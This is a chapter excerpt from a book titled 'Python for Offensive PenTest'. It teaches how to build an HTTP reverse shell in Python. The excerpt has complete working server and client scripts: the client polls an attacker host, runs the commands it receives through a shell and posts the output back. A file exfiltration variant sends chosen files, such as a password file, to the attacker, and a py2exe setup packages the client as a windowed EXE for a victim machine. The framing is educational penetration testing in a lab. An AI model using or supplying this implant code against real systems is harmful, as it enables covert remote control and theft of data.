Book Image

Python for Offensive PenTest

By : Hussam Khrais
Book Image

Python for Offensive PenTest

By: Hussam Khrais

Overview of this book

Python is an easy-to-learn and cross-platform programming language that has unlimited third-party libraries. Plenty of open source hacking tools are written in Python, which can be easily integrated within your script. This book is packed with step-by-step instructions and working examples to make you a skilled penetration tester. It is divided into clear bite-sized chunks, so you can learn at your own pace and focus on the areas of most interest to you. This book will teach you how to code a reverse shell and build an anonymous shell. You will also learn how to hack passwords and perform a privilege escalation on Windows with practical examples. You will set up your own virtual hacking environment in VirtualBox, which will help you run multiple operating systems for your testing environment. By the end of this book, you will have learned how to code your own scripts and mastered ethical hacking from scratch.
Table of Contents (13 chapters)
Title Page
Copyright and Credits
Packt Upsell
Contributors
Preface
Index

HTTP reverse shell


In this section, we will discuss a higher-level Python reverse shell, which will be carried over the HTTP protocol. The HTTP protocol is highly likely to be opened on the outbound or egress firewall rules, since it's used for web surfing. Also, a lot of HTTP traffic is required in every network, which makes monitoring much harder and the chances of us slipping up are high. Let's see how it works.

First, we'll configure a simple HTTP server and a simple HTTP client and we'll use the GET and POST methods to send data back and forth between these two entities. So, as mentioned earlier, the client will initiate a reverse HTTP session back to our server using a GET method and on the server side, once we receive a GET request, we'll start taking commands using raw input, and we will send that command back to the target.

Once we give the command to the target, it'll initiate a subprocess: a cmd.exe subprocess. Pass the command to that subprocess and it will post the result back to us using the POST method. Just to make sure there is continuity for our shell, we will perform sleep for 3 seconds. Then we will repeat the whole process all over again using the while True: infinite loop. The code is much simpler than the previous TCP socket, especially in the file transfer section, and this is because we are using a high-level protocol to transfer the files and data. The next section deals with the coding part.

Coding the HTTP reverse shell

In this section, we'll cover the coding part for an HTTP reverse shell. On the client side, we'll be using a very high-level library to send our GET and POST requests. 

The library called Requests, which is available at https://pypi.python.org/pypi/requests/2.7.0#downloads, will make it much easier to do a GET or POST request in only a single line. Requests is a third-party library, so let's start by installing it. All you have to do is navigate through the Command Prompt to the folder that contains its setup file and issue python setup.py install.

To verify that the library has been installed successfully, open the Python interpreter, like we did earlier for  py2exe , and enter import requests. If no exceptions are thrown here, we're good to go:

Server side

The following block of code is on the server side:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2


# Basic HTTP Server


import BaseHTTPServer # Built-in library we use to build simple HTTP server 

HOST_NAME = '10.10.10.100' # Kali IP address 
PORT_NUMBER = 80 # Listening port number 


class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): # MyHandler defines what we should do when we receive a GET/POST request
                                                          # from the client / target

    def do_GET(s):
                                         #If we got a GET request, we will:- 
        command = raw_input("Shell> ") #take user input
        s.send_response(200) #return HTML status 200 (OK)
        s.send_header("Content-type", "text/html") # Inform the target that content type header is "text/html"
        s.end_headers()
        s.wfile.write(command) #send the command which we got from the user input


    def do_POST(s):
                                                     #If we got a POST, we will:- 
        s.send_response(200) #return HTML status 200 (OK)
        s.end_headers()
        length = int(s.headers['Content-Length']) #Define the length which means how many bytes the HTTP POST data contains, the length
                                                     #value has to be integer 
        postVar = s.rfile.read(length) # Read then print the posted data
        print postVar



if __name__ == '__main__':


    # We start a server_class and create httpd object and pass our kali IP,port number and class handler(MyHandler)

    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)



    try: 
        httpd.serve_forever() # start the HTTP server, however if we got ctrl+c we will Interrupt and stop the server
    except KeyboardInterrupt: 
        print '[!] Server is terminated'
        httpd.server_close()

On the server side, we'll use a built-in library named BaseHTTPServer, to build a basic HTTP server, which handles the client requests. Next, we define our Kali IP and the listening port address by settingPORT_NUMBER to 80. Then, we create aserver_classandhttpdobject, and we will pass our listener IP, thePORT_NUMBER, and a class handler MyHandler to theserver_class. The class handlerMyHandlerdefines what should be done when the server receives aGETorPOSTrequest. The server will run forever without coding awhile True:.

Now, if the server gets a GET request, it will grab the user input using the raw input and will send back an HTML status, 200, which means OK. Now, the send_header() specifies the header field definition. It's mandatory to set this value since our HTTP client has to know the type of data. In this case, it's HTML text, text/html. Thewfile.write() function is equivalent to sending data in our previous TCP shell, and we will be using this function to send the command that the user has input to our target.

If the server gets a POST request first, similar to GET, we will return an HTML status 200 to say that we got the POST without any problem. The s.headers['Content-Length'] specifies how many bytes the HTTP POST data contains. Note that the returned value is a string, but it has to be converted to an integer before passing it as a parameter to rfile.read(). We will use the integer function to perform this. Finally, we'll print the postVar variable, and in this case it'll be the command execution output. The server will run forever using the serve_forever() function without coding a while True:. However, if we invoke Ctrl + C from the keyboard, it will break the loop.

Client side

The following block of code is on the client side:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2


# Basic HTTP Client


import requests # Download Link https://pypi.python.org/pypi/requests#downloads , just extract the rar file and follow the video :)
import subprocess 
import time


while True: 

    req = requests.get('http://10.0.2.15') # Send GET request to our kali server
    command = req.text # Store the received txt into command variable

    if 'terminate' in command:
        break 

    else:
        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() ) # POST the result 
        post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() ) # or the error -if any-

    time.sleep(3)

Here, we use the subprocess to create a shell, and then we create a GET request to our Kali server. Note that the req.text function returns the text that we have got from sending the GET request. In this case, text is the command that we should execute. Now, once we get the command, we will start a subprocess, and the execution result or error will be sent as a POST method in just a single line. Then, the process will sleep for 3 seconds, and repeat all over again. This time.sleep() part is just to be on the safe side—in case we get a packet drop or unexpected error.

Note

Also, you can enhance this script by adding some exception handling using the try and except functions.

Once we proceed to run the script on both sides, we will get our shell on the server side and try navigating through the current working directories. Execute ipconfig and you'll get the complete IP configuration. Now, mistype a command and the error message will be thrown, as shown in the following output:

At the end we terminate the session by executing terminate on the server side. Once we do this, we exit our script on the client side, whereas to exit the script on the server side we need to hit on Ctrl + C on the keyboard to terminate the loop. The server will terminate by showing a [!] Server is terminated message.

Data exfiltration – HTTP

As we did with our TCP reverse shell, we will do a file transfer from the target machine back to the attacker machine.

Client side

Thankfully, the Requests library supports submitting a file in just two lines:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2

# HTTP Data Exfiltration Client

import requests 
import subprocess 
import os
import time


while True: 

    req = requests.get('http://10.0.2.15')
    command = req.text

    if 'terminate' in command:
        break # end the loop


# Now similar to what we have done in our TCP reverse shell, we check if file exists in the first place, if not then we 
# notify our attacker that we are unable to find the file, but if the file is there then we will :-
# 1.Append /store in the URL
# 2.Add a dictionary key called 'file'
# 3.requests library use POST method called "multipart/form-data" when submitting files

#All of the above points will be used on the server side to distinguish that this POST is for submitting a file NOT a usual command output
#Please see the server script for more details on how we can use these points to get the file


    elif 'grab' in command:

        grab,path=command.split('*') # split the received grab command into two parts and store the second part in path variable

        if os.path.exists(path): # check if the file is there

            url = 'http://10.0.2.15/store' # Appended /store in the URL
            files = {'file': open(path, 'rb')} # Add a dictionary key called 'file' where the key value is the file itself
            r = requests.post(url, files=files) # Send the file and behind the scenes, requests library use POST method called "multipart/form-data"

        else:
            post_response = requests.post(url='http://10.0.2.15', data='[-] Not able to find the file !' )

    else:
        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() )
        post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() )

    time.sleep(3)

Here, we will perform the same process as we did in the TCP socket. If we get a grab command from the attacker machine, we will split this command into two parts, where the second part contains the path directory or the path for the file that we want to grab. Next, we will check whether the file is there. If not, we will notify the server about it immediately. Now, in case the file was there, notice that we have appended /store to our URL, url = 'http://10.0.2.15/store' as an indicator that we will be transferring a file, not a normal cmd output since both use the POST method to transmit data. So, for instance, when we send a file, let's say x.doc, we will send it with a /store in the URL. Also, the Requests library uses a special POST method called multipart/form-data to submit or send a file.

Server side

Now, on the server side, we've imported a new library called cgi. This one is used to handle the received file and store it locally. The following is the server side script:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2


# HTTP Data Exfiltration Server

import BaseHTTPServer

import os, cgi

HOST_NAME = '10.0.2.15' 
PORT_NUMBER = 80 



class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):

    def do_GET(s):

        command = raw_input("Shell> ")
        s.send_response(200)
        s.send_header("Content-type", "text/html")
        s.end_headers()
        s.wfile.write(command)

    def do_POST(s):

        # Here we will use the points which we mentioned in the Client side, as a start if the "/store" was in the URL
        # then this is a POST used for file transfer so we will parse the POST header, if its value was 'multipart/form-data' then we
        # will pass the POST parameters to FieldStorage class, the "fs" object contains the returned values from FieldStorage in dictionary fashion


        if s.path == '/store':
            try:
                ctype, pdict = cgi.parse_header(s.headers.getheader('content-type'))
                if ctype == 'multipart/form-data' :
                    fs = cgi.FieldStorage( fp = s.rfile, 
                                        headers = s.headers, 
                                        environ={ 'REQUEST_METHOD':'POST' } 
                                      )
                else:
                    print "[-] Unexpected POST request"

                fs_up = fs['file'] # Remember, on the client side we submitted the file in dictionary fashion, and we used the key 'file'
                                    # to hold the actual file. Now here to retrieve the actual file, we use the corresponding key 'file'

                with open('/root/Desktop/1.txt', 'wb') as o: # create a file holder called '1.txt' and write the received file into this '1.txt' 
                    o.write( fs_up.file.read() )
                    s.send_response(200)
                    s.end_headers()
            except Exception as e:
                print e

            return # once we store the received file in our file holder, we exit the function

        s.send_response(200)
        s.end_headers()
        length = int(s.headers['Content-Length'])
        postVar = s.rfile.read(length )
        print postVar



if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print '[!] Server is terminated'
        httpd.server_close()

If we receive a POST with a /store in the URL and the content type as multipart/form-data, it means that we'll get a file from the target machine, not the usual command output. Then, we need to pass the received file, headers, and REQUEST_METHOD to the FieldStorage class. The returned value of FieldStorage can be indexed like a Python dictionary, where we have a key and a corresponding value. For instance, if we create a Python dictionary called D with a key K and value v as follows:

To get the value, v , we just need to have the corresponding key, K. On the client side, when we submitted the file, we attached a tag or key called files ='file'. So, we will use this tag or key on the server side to receive that file. The FieldStorage will grab the keys and its values and store them in an object calledfs. But we're only interested in the value offile, which is the tag or key that contains the actual file we sent. Once we get that value, we will write it into a placeholder called1.txt. In the end, we exit the function to prevent any mix-up with ongoing file transfer posts.

To initiate the file transfer, perform the following steps:

  1. Run the code the usual way on both machines (Run | Run Module)
  2. Once we get the Shell>, proceed to perform a directory search with the dir command and try to grab a file, say putty.exe, by running the grab command, grab*putty.exe
  3.  Once we get the file on our server machine, rename the placeholder to putty.exe and verify that we have  putty.exe running fine without any file corruption. This can be done by executing the following from the Command Prompt:
wine putty.exe
  1. Go back to the shell and grab another file, say password.txt, just to test it.
  2. Check whether you can read the contents after renaming the placeholder
  3. Try to grab a non-existing file; you'll be presented with an error since it does not exist in the first place

Exporting to EXE

In this section, similar to what we have done in our TCP socket, we will export and test our HTTP reverse shell into an EXE, and test it after that.

Here, also you need to create a folder named Toexe on your desktop. As mentioned earlier, the py2exe binary file, the py2exe setup file, and the HTTP_Client.py script file should be in the folder. 

The setup file, setup.py, will be as shown here:

# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/

# HTTP Exporting to EXE Client Setup

from distutils.core import setup
import py2exe , sys, os



sys.argv.append("py2exe")
setup(
    options = {'py2exe': {'bundle_files': 1}},

    windows = [{'script': "HTTP_Client.py"}], 
    zipfile = None,

)

Perform the following steps to initiate the export:

  1. Start by editing the setup file  py2exe and change Client.py into HTTP_Client.py, which is the name of our script on the target side.
  2. Execute the setup.py script.
  3. Once we have finished, we will go to the dist folder and copy HTTP_Client.py to the desktop.
  4. Ensure that the server is already running. Once we get the Shell>, go to the directories using the dir.
  5. Try to grab a file, say grab*password.txt, as we did in the previous sections.
  6. After getting the file successfully on the server side, try other simple commands such as cd and whoami.
  7. Try typing an incorrect command and check whether you are getting the proper error message
  8. At the end, terminate the session from our shell by executing the terminate command
  9. You can check to see that we have the HTTP_Client.exe process on our Windows machine; once we execute terminate, the process will disappear from the list confirming its termination